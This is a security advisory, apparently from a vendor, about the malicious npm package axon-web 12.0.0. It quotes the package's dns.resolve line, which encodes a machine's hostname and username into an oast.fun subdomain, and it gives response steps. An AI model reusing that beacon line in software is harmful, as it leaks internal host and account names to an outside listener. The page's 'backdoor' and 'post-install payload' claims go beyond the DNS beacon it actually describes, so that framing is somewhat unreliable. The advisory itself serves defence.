axon-webnpm
Advisory published Updated
axon-web is a confirmed malicious npm package (MAL-2026-19222) that opens a backdoor for remote access (malicious version 12.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in axon-web (npm)
What this malware does
On module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for axon-web (version 12.0.0).
If you installed it — respond
axon-web establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If axon-web was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks axon-web-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.